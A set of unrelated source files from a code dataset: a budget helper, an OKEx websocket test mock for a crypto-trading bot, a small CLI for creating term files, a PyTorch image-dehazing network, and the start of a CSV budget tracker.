target_amount):\n net_monthly_savings = monthly_income - monthly_expenses\n months_to_reach_goal = (target_amount - current_savings) / net_monthly_savings\n return months_to_reach_goal\n\ndef extract_numbers(s):\n return ''.join([char for char in s if char.isdigit()])","repo_name":"gitprosperon/prosperon2","sub_path":"Budget/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":2648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5320418153","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport sys\nimport os\nimport time\nimport zlib\nimport hashlib\nimport websocket\nimport json\nimport thread\n#okex\n#websocket只用来定阅数据推送,下单使用rest的https接口发送\n\nclass okWSTool():\n def __init__(self,psecret):\n\n self.secret_key = psecret\n self.csocket = None\n\n self.sells5 = []\n self.buys5 = []\n\n\n self.objname = 'okex'\n\n self.sendcount = 100 #每100次log提示一次没有客户端连接\n\n self.lastPrice = 0.0\n self.lastType = ''\n\n self.text = ''\n self.basePrice = 6000\n self.bssub = 1\n self.obSub = 2\n self.isRun = 0\n self.stepChange = 0\n\n self.readTestConfig()\n\n def readTestConfig(self):\n# {\n# \"basePrice\":6000,\n# \"bssub\":1,\n# \"obSub\":2,\n# \"tradeState\":1,\n# \"isRun\":0,\n# \"stepChange\":0,\n# \"text\":\"oob_cob_obo_cbo\"\n# }\n f = open('../tradeconfig.json','r')\n strdat = f.read()\n f.close()\n datadic = json.loads(strdat)\n self.text = datadic['text'] #当前测试类型\n self.basePrice = datadic['basePrice'] #测试基本价格,其他价格在此基础上作改变\n self.bssub = datadic['bssub'] #买卖价之间的差价\n self.obSub = datadic['obSub'] #okex和bitmex的差价,值为负表示okex小于bitmex\n self.isRun = datadic['isRun'] #是否启动差价系统,当为0是okex和bitmex的价格都为basePrice,即两者没有差价\n self.tradeState = datadic['tradeState'] #交易下单返回状态,当为0表示下单为取消,1时表示下单为完全成交,2表示bitmex为取消okex为完全成交,3表示bitmex为完全成交okex为取消,\n isChange = self.stepChange != datadic['stepChange']\n self.stepChange = datadic['stepChange']\n print(self.text)\n return isChange\n def getMarketData(self):\n buy = self.basePrice + self.obSub\n sell = self.basePrice + self.bssub + self.obSub\n tmpdata = [{\"binary\":0,\"channel\":\"ok_sub_futureusd_btc_depth_quarter_5\",\"data\":{\"asks\":[[buy,150,2.3403,12.5319,803]],\"bids\":[[sell,150,0.2809,0.2809,18]],\"timestamp\":1534351230420}}]\n return tmpdata\n\n def sendDataTest(self):\n #[{\"binary\":0,\"channel\":\"ok_sub_futureusd_btc_depth_quarter_5\",\"data\":{\"asks\":[[6409.26,150,2.3403,12.5319,803],[6408.64,20,0.312,10.1916,653],[6407.76,121,1.8883,9.8796,633],[6407.63,192,2.9964,7.9913,512],[6406.43,320,4.9949,4.9949,320]],\"bids\":[[6406.39,18,0.2809,0.2809,18],[6406.18,18,0.2809,0.5618,36],[6405.27,1181,18.4379,18.9997,1217],[6405.15,150,2.3418,21.3415,1367],[6405.11,128,1.9984,23.3399,1495]],\"timestamp\":1534351230420}}]\n #[{\"binary\":0,\"channel\":\"ok_sub_futureusd_btc_depth_quarter_5\",\"data\":{\"asks\":[[6409.26,150,2.3403,12.5319,803]],\"bids\":[[6406.39,18,0.2809,0.2809,18]]],\"timestamp\":1534351230420}}]\n isChange = self.readTestConfig()\n if isChange:\n msgdic = self.getMarketData()\n if self.isRun == 0:#价格反向改变\n msgdic[0]['data']['asks'][0][0] = self.basePrice\n msgdic[0]['data']['bids'][0][0] = self.basePrice + self.bssub\n\n msg = json.dumps(msgdic)\n self.sendMsgToClient(msg)\n self.setDeeps(msgdic[0]['data'])\n #接收到测试下单服务器数据\n def reciveDataFromTestTrade(self,datadict):\n print(datadict)\n # {u'price': 6000.23, u'type': u'ol', u'amount': 1, u'cid': u'null'}\n #{'type':下单类型,price:下单价格,amount:下单数量,cid:下单用户ID},下单类型分为:开多,开空,平多,平空,取消定单5种\n #要返回的发送的交易状态信息\n self.readTestConfig()\n self.lastPrice = datadict['price']\n self.lastType = datadict['type']\n if self.lastType == 'cancel':\n print('发送交易取消数据')\n self.sendTradeCanel(datadict['cid'], datadict['amount'], datadict['price'], datadict['type'])\n else:\n if self.tradeState == 1 or self.tradeState == 2:#返回完全成交状态\n self.sendTradeOK(datadict['cid'], datadict['amount'], datadict['price'], datadict['type'])\n elif self.tradeState == 0 or self.tradeState == 3:#返回交易取消状态\n self.sendTradeCanel(datadict['cid'], datadict['amount'], datadict['price'], datadict['type'])\n\n #1.完全成交信息\n #2.定单取消信息\n #3.价格上涨信息\n #4.价格下跌信息\n def sendTradeCanel(self,tid,amount,price,ptype):\n #合约定单数据更新\n# amount(double): 委托数量\n# contract_name(string): 合约名称\n# created_date(long): 委托时间\n# create_date_str(string):委托时间字符串\n# deal_amount(double): 成交数量\n# fee(double): 手续费\n# order_id(long): 订单ID\n# price(double): 订单价格\n# price_avg(double): 平均价格\n# status(int): 订单状态(0等待成交 1部分成交 2全部成交 -1撤单 4撤单处理中)\n# symbol(string): btc_usd ltc_usd eth_usd etc_usd bch_usd\n# type(int): 订单类型 1:开多 2:开空 3:平多 4:平空\n# unit_amount(double):合约面值\n# lever_rate(double):杠杆倍数 value:10/20 默认10\n# system_type(int):订单类型 0:普通 1:交割 2:强平 4:全平 5:系统反单\n sendtype = 0\n if ptype == 'ol':\n sendtype = 1\n elif ptype == 'os':\n sendtype = 2\n elif ptype == 'cl':\n sendtype = 3\n elif ptype == 'cs':\n sendtype = 4\n backmsg = [{u'binary': 0, u'data': \n {'orderid': 1270246017934336, \n 'contract_name': 'BTC0928', \n 'fee': 0.0, \n 'user_id': 2051526, \n 'contract_id': 201809280000012, \n 'price': float(price), \n 'create_date_str': '2018-08-13 08:00:16', \n 'amount': float(amount), \n 'status': -1, \n 'system_type': 0, \n 'unit_amount': 100.0, \n 'price_avg': 0.0, \n 'contract_type': 'quarter', \n 'create_date': 1534118416047, \n 'lever_rate': 20.0, \n 'type': sendtype, \n 'deal_amount': 0.0}, \n 'channel': 'ok_sub_futureusd_trades'}]\n msg = json.dumps(backmsg)\n self.sendMsgToClient(msg)\n def sendTradeOK(self,tid,amount,price,ptype):\n#合约定单数据更新\n# amount(double): 委托数量\n# contract_name(string): 合约名称\n# created_date(long): 委托时间\n# create_date_str(string):委托时间字符串\n# deal_amount(double): 成交数量\n# fee(double): 手续费\n# order_id(long): 订单ID\n# price(double): 订单价格\n# price_avg(double): 平均价格\n# status(int): 订单状态(0等待成交 1部分成交 2全部成交 -1撤单 4撤单处理中)\n# symbol(string): btc_usd ltc_usd eth_usd etc_usd bch_usd\n# type(int): 订单类型 1:开多 2:开空 3:平多 4:平空\n# unit_amount(double):合约面值\n# lever_rate(double):杠杆倍数 value:10/20 默认10\n# system_type(int):订单类型 0:普通 1:交割 2:强平 4:全平 5:系统反单\n sendtype = 0\n if ptype == 'ol':\n sendtype = 1\n elif ptype == 'os':\n sendtype = 2\n elif ptype == 'cl':\n sendtype = 3\n elif ptype == 'cs':\n sendtype = 4\n backmsg = [{u'binary': 0, u'data': \n {'orderid': 1270246017934336, \n 'contract_name': 'BTC0928', \n 'fee': 0.0, \n 'user_id': 2051526, \n 'contract_id': 201809280000012, \n 'price': float(price), \n 'create_date_str': '2018-08-13 08:00:16', \n 'amount': float(amount), \n 'status': 2, \n 'system_type': 0, \n 'unit_amount': 100.0, \n 'price_avg': 0.0, \n 'contract_type': 'quarter', \n 'create_date': 1534118416047, \n 'lever_rate': 20.0, \n 'type': sendtype, \n 'deal_amount': 0.0}, \n 'channel': 'ok_sub_futureusd_trades'}]\n msg = json.dumps(backmsg)\n self.sendMsgToClient(msg)\n def sendMsgToClient(self,msg):\n def run(*args):\n try:\n if self.csocket:\n self.csocket.send(msg.encode())\n else:\n self.sendcount -= 1\n if self.sendcount < 0:\n self.sendcount = 100\n print(\"没有客户端连接\")\n except Exception as e:\n print('客户端网络错误')\n if self.csocket:\n self.csocket.close()\n self.csocket = None\n return\n thread.start_new_thread(run, ())\n\n \n\n def setDeeps(self,datadic):\n self.sells5 = datadic['asks'][::-1]\n self.buys5 = datadic['bids']\n print(self.buys5[0],self.sells5[0])\n\n def setObjName(self,pname):\n self.objname = pname\n\n #事件回调函数\n def setSocketClient(self,clientsocket):\n self.csocket = clientsocket\n\n \n \n\n #收到来自数据处理的命令消息\n def reciveCmdFromClient(self,cmd):\n print(cmd)\n self.sendMsgToClient(str(cmd))\n\n\n def saveTestData(self,msg):\n f = open('testdata.txt','a')\n f.write(msg + '\\n')\n f.close()\n\n def on_message(self,ws,data):\n # data = self.inflate(evt) #data decompress\n try:\n self.sendMsgToClient(data)\n datadic = json.loads(data)[0]\n chanle = datadic['channel']\n if chanle == 'ok_sub_futureusd_btc_depth_quarter_5':#深度全量数据\n # print(datadic)\n # self.setDeeps(datadic['data'])\n self.saveTestData(data)\n elif chanle == 'ok_sub_futureusd_trades':\n #交易数据更新\n self.onTrade(datadic)\n elif chanle == 'ok_sub_futureusd_positions': #合约持仓信息更新\n self.onPositionsChange(datadic)\n elif chanle == 'ok_sub_futureusd_userinfo': #合约帐户信息更新\n self.onUserInfoChange(datadic)\n else:\n # print(data)\n pass\n except Exception as e:\n print('-'*20)\n print(data)\n\n\n \n #ping服务器查看连接是否断开\n #服务器未断开会返回{\"event\":\"pong\"}\n def pingServer(self):\n channelcmd = \"{'event':'ping'}\"\n self.wsocket.send(channelcmd);\n\n\ndef main():\n\n\n oktool = okWSTool()\n oktool.wsRunForever()\nif __name__ == '__main__':\n main()","repo_name":"fengmm521/okex_robot_ubuntuserver","sub_path":"market_XBTU18_okex/markettest/okex/okWebSocket.py","file_name":"okWebSocket.py","file_ext":"py","file_size_in_byte":10615,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"14490316114","text":"from . import tids\nfrom pathlib import Path\nimport click\n\n\ndef new_path(base, locale):\n while 1:\n tid = tids.random_id()\n path = base.joinpath(locale, tid[:2], f\"{tid}.term\")\n try:\n path.parent.mkdir(parents=True)\n path.touch(exist_ok=False)\n except FileExistsError:\n continue\n return path\n\n\n@click.command()\n@click.option('--locale', default='en')\ndef new_term(locale):\n base = Path.cwd().joinpath('data')\n if not base.exists():\n raise click.UsageError(\n \"The 'data' path doesn't exist in the current directory\")\n click.edit(filename=new_path(base, locale))\n","repo_name":"werken-xyz/werken","sub_path":"src/werken/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2102817571","text":"import torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nfrom basicsr.utils.registry import ARCH_REGISTRY\r\n\r\n\r\nclass ConvBlock(torch.nn.Module):\r\n def __init__(self, input_size, output_size, kernel_size=3, stride=1, padding=1, bias=True, activation='prelu',\r\n norm=None):\r\n super(ConvBlock, self).__init__()\r\n self.conv = torch.nn.Conv2d(input_size, output_size, kernel_size, stride, padding, bias=bias)\r\n\r\n self.norm = norm\r\n if self.norm == 'batch':\r\n self.bn = torch.nn.BatchNorm2d(output_size)\r\n elif self.norm == 'instance':\r\n self.bn = torch.nn.InstanceNorm2d(output_size)\r\n\r\n self.activation = activation\r\n if self.activation == 'relu':\r\n self.act = torch.nn.ReLU(True)\r\n elif self.activation == 'prelu':\r\n self.act = torch.nn.PReLU()\r\n elif self.activation == 'lrelu':\r\n self.act = torch.nn.LeakyReLU(0.2, True)\r\n elif self.activation == 'tanh':\r\n self.act = torch.nn.Tanh()\r\n elif self.activation == 'sigmoid':\r\n self.act = torch.nn.Sigmoid()\r\n\r\n def forward(self, x):\r\n if self.norm is not None:\r\n out = self.bn(self.conv(x))\r\n else:\r\n out = self.conv(x)\r\n\r\n if self.activation != 'no':\r\n return self.act(out)\r\n else:\r\n return out\r\n\r\n\r\nclass DeconvBlock(torch.nn.Module):\r\n def __init__(self, input_size, output_size, kernel_size=4, stride=2, padding=1, bias=True, activation='prelu',\r\n norm=None):\r\n super(DeconvBlock, self).__init__()\r\n self.deconv = torch.nn.ConvTranspose2d(input_size, output_size, kernel_size, stride, padding, bias=bias)\r\n\r\n self.norm = norm\r\n if self.norm == 'batch':\r\n self.bn = torch.nn.BatchNorm2d(output_size)\r\n elif self.norm == 'instance':\r\n self.bn = torch.nn.InstanceNorm2d(output_size)\r\n\r\n self.activation = activation\r\n if self.activation == 'relu':\r\n self.act = torch.nn.ReLU(True)\r\n elif self.activation == 'prelu':\r\n self.act = torch.nn.PReLU()\r\n elif self.activation == 'lrelu':\r\n self.act = torch.nn.LeakyReLU(0.2, True)\r\n elif self.activation == 'tanh':\r\n self.act = torch.nn.Tanh()\r\n elif self.activation == 'sigmoid':\r\n self.act = torch.nn.Sigmoid()\r\n\r\n def forward(self, x):\r\n if self.norm is not None:\r\n out = self.bn(self.deconv(x))\r\n else:\r\n out = self.deconv(x)\r\n\r\n if self.activation is not None:\r\n return self.act(out)\r\n else:\r\n return out\r\n\r\n\r\n\r\n\r\n\r\nclass UNetConvBlock(nn.Module):\r\n def __init__(self, in_chans, out_chans):\r\n super(UNetConvBlock, self).__init__()\r\n block = []\r\n\r\n block.append(nn.Conv2d(in_chans, out_chans, kernel_size=4, stride=2, padding=1))\r\n block.append(nn.ReLU())\r\n\r\n self.block = nn.Sequential(*block)\r\n\r\n def forward(self, x):\r\n out = self.block(x)\r\n return out\r\n\r\n\r\nclass UNetUpBlock(nn.Module):\r\n def __init__(self, in_chans, out_chans, up_mode):\r\n super(UNetUpBlock, self).__init__()\r\n if up_mode == 'upconv':\r\n self.up = nn.ConvTranspose2d(in_chans, out_chans, kernel_size=2, stride=2)\r\n elif up_mode == 'upsample':\r\n self.up == nn.Sequential(\r\n nn.Upsample(mode='bilinear', scale_factor=2),\r\n nn.Conv2d(in_chans, out_chans, kernel_size=1),\r\n )\r\n self.conv_block = nn.Sequential(\r\n nn.Conv2d(out_chans*2, out_chans, kernel_size=3, stride=1, padding=1),\r\n nn.ReLU(inplace=True)\r\n )\r\n\r\n def forward(self, x, bridge):\r\n up = self.up(x)\r\n out = torch.cat([up, bridge], 1)\r\n out = self.conv_block(out)\r\n return out\r\n\r\n\r\ndef conv(in_channels, out_channels, kernel_size, bias=False, stride=1):\r\n return nn.Conv2d(in_channels, out_channels, kernel_size, padding=(kernel_size // 2), bias=bias, stride=stride)\r\n\r\n\r\n## Supervised Attention Module\r\nclass SAM(nn.Module):\r\n def __init__(self, n_feat, kernel_size, bias=False):\r\n super(SAM, self).__init__()\r\n self.conv1 = conv(n_feat, n_feat, kernel_size, bias=bias)\r\n self.conv2 = conv(n_feat, 3, kernel_size, bias=bias)\r\n self.conv3 = conv(3, n_feat, kernel_size, bias=bias)\r\n\r\n def forward(self, x, x_img):\r\n x1 = self.conv1(x)\r\n img = self.conv2(x) + x_img\r\n x2 = torch.sigmoid(self.conv3(img))\r\n x1 = x1 * x2\r\n x1 = x1 + x\r\n return x1, img\r\n\r\n\r\n\r\n\r\nclass Decoder_MDCBlock1(torch.nn.Module):\r\n def __init__(self, num_filter, num_ft, num, kernel_size=4, stride=2, padding=1, bias=True, activation='prelu',\r\n norm=None):\r\n super(Decoder_MDCBlock1, self).__init__()\r\n self.num_ft = num_ft - 1\r\n self.down_convs = nn.ModuleList()\r\n self.up_convs = nn.ModuleList()\r\n a = num_filter\r\n for i in range(self.num_ft):\r\n b = a + 2 ** (num + i)\r\n self.down_convs.append(ConvBlock(a, b, kernel_size, stride, padding, bias, activation, norm=None))\r\n self.up_convs.append(DeconvBlock(b, a, kernel_size, stride, padding, bias, activation, norm=None))\r\n a = b\r\n\r\n def forward(self, ft_h, ft_l_list):\r\n ft_fusion = ft_h\r\n for i in range(len(ft_l_list)):\r\n ft = ft_fusion\r\n for j in range(self.num_ft - i):\r\n ft = self.down_convs[j](ft)\r\n ft = F.interpolate(ft, size=ft_l_list[i].shape[-2:], mode='bilinear')\r\n ft = ft - ft_l_list[i]\r\n for j in range(self.num_ft - i):\r\n ft = self.up_convs[self.num_ft - i - j - 1](ft)\r\n ft_fusion = F.interpolate(ft_fusion, size=ft.shape[-2:], mode='bilinear')\r\n ft_fusion = ft_fusion + ft\r\n\r\n return ft_fusion\r\n\r\n\r\nclass Encoder_MDCBlock1(torch.nn.Module):\r\n def __init__(self, num_filter, num_ft, kernel_size=4, stride=2, padding=1, bias=True, activation='prelu',\r\n norm=None):\r\n super(Encoder_MDCBlock1, self).__init__()\r\n\r\n self.num_ft = num_ft - 1\r\n self.up_convs = nn.ModuleList()\r\n self.down_convs = nn.ModuleList()\r\n a = num_filter\r\n for i in range(self.num_ft):\r\n b = a - 2**(num_ft-i)\r\n self.up_convs.append(DeconvBlock(a, b, kernel_size, stride, padding, bias, activation, norm=None))\r\n self.down_convs.append(ConvBlock(b, a, kernel_size, stride, padding, bias, activation, norm=None))\r\n a = b\r\n\r\n def forward(self, ft_l, ft_h_list):\r\n ft_fusion = ft_l\r\n for i in range(len(ft_h_list)):\r\n ft = ft_fusion\r\n for j in range(self.num_ft - i):\r\n ft = self.up_convs[j](ft)\r\n ft = F.interpolate(ft, size=ft_h_list[i].shape[-2:], mode='bilinear')\r\n ft = ft - ft_h_list[i]\r\n for j in range(self.num_ft - i):\r\n # print(j)\r\n ft = self.down_convs[self.num_ft - i - j - 1](ft)\r\n ft_fusion = F.interpolate(ft_fusion, size=ft.shape[-2:], mode='bilinear')\r\n ft_fusion = ft_fusion + ft\r\n\r\n return ft_fusion\r\n\r\nclass ResBlock(nn.Module):\r\n def __init__(self, channel):\r\n super(ResBlock, self).__init__()\r\n self.layers = nn.Sequential(nn.Conv2d(channel, channel, 3, stride=1, padding=1),\r\n nn.LeakyReLU(negative_slope=0.2, inplace=True),\r\n nn.Conv2d(channel, channel, 3, stride=1, padding=1),\r\n nn.LeakyReLU(negative_slope=0.2, inplace=True)\r\n )\r\n self.conv_1x1 = nn.Conv2d(channel, channel, kernel_size=1, padding=0)\r\n\r\n def forward(self, x):\r\n out = self.layers(x)\r\n short = self.conv_1x1(x)\r\n out = out + short\r\n return out\r\n\r\n\r\n\r\nclass ResBlock_fft_bench(nn.Module):\r\n def __init__(self, n_feat):\r\n super(ResBlock_fft_bench, self).__init__()\r\n self.main = nn.Conv2d(n_feat, n_feat, kernel_size=3, padding=1)\r\n self.mag = nn.Conv2d(n_feat, n_feat, kernel_size=1, padding=0)\r\n self.pha = nn.Sequential(\r\n nn.Conv2d(n_feat, n_feat, kernel_size=1, padding=0),\r\n nn.ReLU(inplace=True),\r\n nn.Conv2d(n_feat, n_feat, kernel_size=1, padding=0),\r\n )\r\n\r\n def forward(self, x):\r\n _, _, H, W = x.shape\r\n fre = torch.fft.rfft2(x, norm='backward')\r\n mag = torch.abs(fre)\r\n pha = torch.angle(fre)\r\n mag_out = self.mag(mag)\r\n mag_res = mag_out - mag\r\n pooling = torch.nn.functional.adaptive_avg_pool2d(mag_res, (1, 1))\r\n pooling = torch.nn.functional.softmax(pooling, dim=1)\r\n pha1 = pha * pooling\r\n pha1 = self.pha(pha1)\r\n pha_out = pha1 + pha\r\n real = mag_out * torch.cos(pha_out)\r\n imag = mag_out * torch.sin(pha_out)\r\n fre_out = torch.complex(real, imag)\r\n y = torch.fft.irfft2(fre_out, s=(H, W), norm='backward')\r\n\r\n return self.main(x) + y\r\n\r\n\r\n\r\n@ARCH_REGISTRY.register()\r\nclass FSDGN(nn.Module):\r\n def __init__(self, num_in_ch=3, base_channel=16, up_mode='upconv', bias=False):\r\n super(FSDGN, self).__init__()\r\n assert up_mode in ('upconv', 'upsample')\r\n\r\n self.layer0 = nn.Conv2d(num_in_ch, base_channel, kernel_size=3, stride=1, padding=1)\r\n self.layer1 = UNetConvBlock(in_chans=16, out_chans=20)\r\n self.layer2 = UNetConvBlock(in_chans=20, out_chans=28)\r\n self.layer3 = UNetConvBlock(in_chans=28, out_chans=44)\r\n self.layer4 = UNetConvBlock(in_chans=44, out_chans=76)\r\n self.layer_0 = UNetUpBlock(in_chans=20, out_chans=16, up_mode=up_mode)\r\n self.layer_1 = UNetUpBlock(in_chans=28, out_chans=20, up_mode=up_mode)\r\n self.layer_2 = UNetUpBlock(in_chans=44, out_chans=28, up_mode=up_mode)\r\n self.layer_3 = UNetUpBlock(in_chans=76, out_chans=44, up_mode=up_mode)\r\n\r\n self.layer0_ = nn.Conv2d(num_in_ch, base_channel, kernel_size=3, stride=1, padding=1)\r\n self.layer1_ = UNetConvBlock(in_chans=16, out_chans=20)\r\n self.layer2_ = UNetConvBlock(in_chans=20, out_chans=28)\r\n self.layer3_ = UNetConvBlock(in_chans=28, out_chans=44)\r\n self.layer4_ = UNetConvBlock(in_chans=44, out_chans=76)\r\n self.layer_0_ = UNetUpBlock(in_chans=20, out_chans=16, up_mode=up_mode)\r\n self.layer_1_ = UNetUpBlock(in_chans=28, out_chans=20, up_mode=up_mode)\r\n self.layer_2_ = UNetUpBlock(in_chans=44, out_chans=28, up_mode=up_mode)\r\n self.layer_3_ = UNetUpBlock(in_chans=76, out_chans=44, up_mode=up_mode)\r\n\r\n self.last = nn.Conv2d(base_channel, num_in_ch, kernel_size=1)\r\n\r\n self.fft0 = ResBlock_fft_bench(n_feat=base_channel)\r\n self.fft1 = ResBlock_fft_bench(n_feat=20)\r\n self.fft2 = ResBlock_fft_bench(n_feat=28)\r\n self.fft3 = ResBlock_fft_bench(n_feat=44)\r\n self.fft4 = ResBlock_fft_bench(n_feat=76)\r\n self.fft_0 = ResBlock_fft_bench(n_feat=base_channel)\r\n self.fft_1 = ResBlock_fft_bench(n_feat=20)\r\n self.fft_2 = ResBlock_fft_bench(n_feat=28)\r\n self.fft_3 = ResBlock_fft_bench(n_feat=44)\r\n\r\n self.res0 = ResBlock(base_channel)\r\n self.res1 = ResBlock(20)\r\n self.res2 = ResBlock(28)\r\n self.res3 = ResBlock(44)\r\n self.res4 = ResBlock(76)\r\n self.res_0 = ResBlock(base_channel)\r\n self.res_1 = ResBlock(20)\r\n self.res_2 = ResBlock(28)\r\n self.res_3 = ResBlock(44)\r\n\r\n self.res0_ = ResBlock(base_channel)\r\n self.res1_ = ResBlock(20)\r\n self.res2_ = ResBlock(28)\r\n self.res3_ = ResBlock(44)\r\n self.res4_ = ResBlock(76)\r\n self.res_0_ = ResBlock(base_channel)\r\n self.res_1_ = ResBlock(20)\r\n self.res_2_ = ResBlock(28)\r\n self.res_3_ = ResBlock(44)\r\n\r\n self.csff_enc0 = nn.Conv2d(base_channel, base_channel, kernel_size=1, bias=bias)\r\n self.csff_enc1 = nn.Conv2d(20, 20, kernel_size=1, bias=bias)\r\n self.csff_enc2 = nn.Conv2d(28, 28, kernel_size=1, bias=bias)\r\n self.csff_enc3 = nn.Conv2d(44, 44, kernel_size=1, bias=bias)\r\n self.csff_dec0 = nn.Conv2d(base_channel, base_channel, kernel_size=1, bias=bias)\r\n self.csff_dec1 = nn.Conv2d(20, 20, kernel_size=1, bias=bias)\r\n self.csff_dec2 = nn.Conv2d(28, 28, kernel_size=1, bias=bias)\r\n self.csff_dec3 = nn.Conv2d(44, 44, kernel_size=1, bias=bias)\r\n\r\n self.fusion1 = Encoder_MDCBlock1(20, 2)\r\n self.fusion2 = Encoder_MDCBlock1(28, 3)\r\n self.fusion3 = Encoder_MDCBlock1(44, 4)\r\n self.fusion4 = Encoder_MDCBlock1(76, 5)\r\n self.fusion_3 = Decoder_MDCBlock1(44, 2, 5)\r\n self.fusion_2 = Decoder_MDCBlock1(28, 3, 4)\r\n self.fusion_1 = Decoder_MDCBlock1(20, 4, 3)\r\n self.fusion_0 = Decoder_MDCBlock1(base_channel, 5, 2)\r\n\r\n self.fusion1_ = Encoder_MDCBlock1(20, 2)\r\n self.fusion2_ = Encoder_MDCBlock1(28, 3)\r\n self.fusion3_ = Encoder_MDCBlock1(44, 4)\r\n self.fusion4_ = Encoder_MDCBlock1(76, 5)\r\n self.fusion_3_ = Decoder_MDCBlock1(44, 2, 5)\r\n self.fusion_2_ = Decoder_MDCBlock1(28, 3, 4)\r\n self.fusion_1_ = Decoder_MDCBlock1(20, 4, 3)\r\n self.fusion_0_ = Decoder_MDCBlock1(base_channel, 5, 2)\r\n\r\n self.sam = SAM(base_channel, kernel_size=1)\r\n self.concat = conv(base_channel * 2, base_channel, kernel_size=3)\r\n\r\n def forward(self, x):\r\n xcopy = x\r\n blocks = []\r\n x = self.layer0(x)\r\n x0 = self.res0(x)\r\n x0 = self.fft0(x0)\r\n blocks.append(x0)\r\n\r\n x1 = self.layer1(x0)\r\n x1 = self.fusion1(x1, blocks)\r\n x1 = self.res1(x1)\r\n x1 = self.fft1(x1)\r\n blocks.append(x1)\r\n\r\n x2 = self.layer2(x1)\r\n x2 = self.fusion2(x2, blocks)\r\n x2 = self.res2(x2)\r\n x2 = self.fft2(x2)\r\n blocks.append(x2)\r\n\r\n x3 = self.layer3(x2)\r\n x3 = self.fusion3(x3, blocks)\r\n x3 = self.res3(x3)\r\n x3 = self.fft3(x3)\r\n blocks.append(x3)\r\n\r\n x4 = self.layer4(x3)\r\n x4 = self.fusion4(x4, blocks)\r\n x4 = self.res4(x4)\r\n x4 = self.fft4(x4)\r\n\r\n blocks_up = [x4]\r\n x_3 = self.layer_3(x4, blocks[-0 - 1])\r\n x_3 = self.res_3(x_3)\r\n x_3 = self.fft_3(x_3)\r\n x_3 = self.fusion_3(x_3, blocks_up)\r\n blocks_up.append(x_3)\r\n\r\n x_2 = self.layer_2(x_3, blocks[-1 - 1])\r\n x_2 = self.res_2(x_2)\r\n x_2 = self.fft_2(x_2)\r\n x_2 = self.fusion_2(x_2, blocks_up)\r\n blocks_up.append(x_2)\r\n\r\n x_1 = self.layer_1(x_2, blocks[-2 - 1])\r\n x_1 = self.res_1(x_1)\r\n x_1 = self.fft_1(x_1)\r\n x_1 = self.fusion_1(x_1, blocks_up)\r\n blocks_up.append(x_1)\r\n\r\n\r\n x_0 = self.layer_0(x_1, blocks[-3 - 1])\r\n x_0 = self.res_0(x_0)\r\n x_0 = self.fft_0(x_0)\r\n x_0 = self.fusion_0(x_0, blocks_up)\r\n\r\n\r\n x2_samfeats, stage1_output = self.sam(x_0, xcopy)\r\n\r\n blocks1 = []\r\n y = self.layer0_(xcopy)\r\n y = self.concat(torch.cat([y, x2_samfeats], 1))\r\n\r\n y0 = self.res0_(y)\r\n\r\n y0 = y0 + self.csff_enc0(x0) + self.csff_dec0(x_0)\r\n blocks1.append(y0)\r\n\r\n y1 = self.layer1_(y0)\r\n y1 = self.fusion1_(y1, blocks1)\r\n y1 = self.res1_(y1)\r\n\r\n y1 = y1 + self.csff_enc1(x1) + self.csff_dec1(x_1)\r\n blocks1.append(y1)\r\n\r\n y2 = self.layer2_(y1)\r\n y2 = self.fusion2_(y2, blocks1)\r\n y2 = self.res2_(y2)\r\n y2 = y2 + self.csff_enc2(x2) + self.csff_dec2(x_2)\r\n blocks1.append(y2)\r\n\r\n y3 = self.layer3_(y2)\r\n y3 = self.fusion3_(y3, blocks1)\r\n y3 = self.res3_(y3)\r\n y3 = y3 + self.csff_enc3(x3) + self.csff_dec3(x_3)\r\n blocks1.append(y3)\r\n\r\n y4 = self.layer4_(y3)\r\n y4 = self.fusion4_(y4, blocks1)\r\n y4 = self.res4_(y4)\r\n\r\n blocks1_up = [y4]\r\n y_3 = self.layer_3_(y4, blocks1[-0 - 1])\r\n y_3 = self.res_3_(y_3)\r\n y_3 = self.fusion_3_(y_3, blocks1_up)\r\n blocks1_up.append(y_3)\r\n\r\n y_2 = self.layer_2_(y_3, blocks1[-1 - 1])\r\n y_2 = self.res_2_(y_2)\r\n y_2 = self.fusion_2_(y_2, blocks1_up)\r\n blocks1_up.append(y_2)\r\n\r\n y_1 = self.layer_1_(y_2, blocks1[-2 - 1])\r\n y_1 = self.res_1_(y_1)\r\n y_1 = self.fusion_1_(y_1, blocks1_up)\r\n blocks1_up.append(y_1)\r\n\r\n y_0 = self.layer_0_(y_1, blocks1[-3 - 1])\r\n y_0 = self.res_0_(y_0)\r\n y_0 = self.fusion_0_(y_0, blocks1_up)\r\n\r\n output = self.last(y_0)\r\n output = torch.clamp(output, 0, 1)\r\n stage1_output = torch.clamp(stage1_output, 0, 1)\r\n\r\n return output, stage1_output\r\n\r\n\r\n","repo_name":"yuhuUSTC/FSDGN","sub_path":"basicsr/archs/FSDGN_arch.py","file_name":"FSDGN_arch.py","file_ext":"py","file_size_in_byte":16960,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"61"} +{"seq_id":"26160612050","text":"import csv\nimport os\nfrom pathlib import Path\nfrom lib.date import Date\n\nDATA_DIRECTORY = \"data\"\nDATA_FILENAME = \"data/data.csv\"\nFIELDNAMES = [\"Index\", \"Date\", \"Type\", \"Amount\", \"Category\"]\n\nNOTES_FILENAME = \"data/notes.txt\"\n\ndef dataInit():\n Path(DATA_DIRECTORY).mkdir(parents=True, exist_ok=True)\n\n with open(DATA_FILENAME, 'w') as file:\n writer = csv.DictWriter(file, fieldnames=FIELDNAMES)\n writer.writeheader()\n\ndef menu():\n print(\"\\n\")\n print(\"Budget\".center(170))\n print(\"\\n1. Add transaction.\")\n print(\"2. See entire transaction history.\")\n print(\"3. See transaction history between two dates.\")\n print(\"4. Notes.\")\n print(\"5. Most spending category\")\n print(\"6. Exit\\n\")\n\n return int(input(\"-> \"))\n\ndef getAddTransactionInput():\n transactionDate = Date(input(\"Enter the date of the transaction (MM/DD/YY): \"))\n transactionType = input(\"Enter the type of the transaction (+/-): \")\n transactionAmount = float(input(\"Enter the amount of the transaction: \"))\n transactionCategory = input(\"Enter the category of the transaction: \")\n\n return transactionDate, 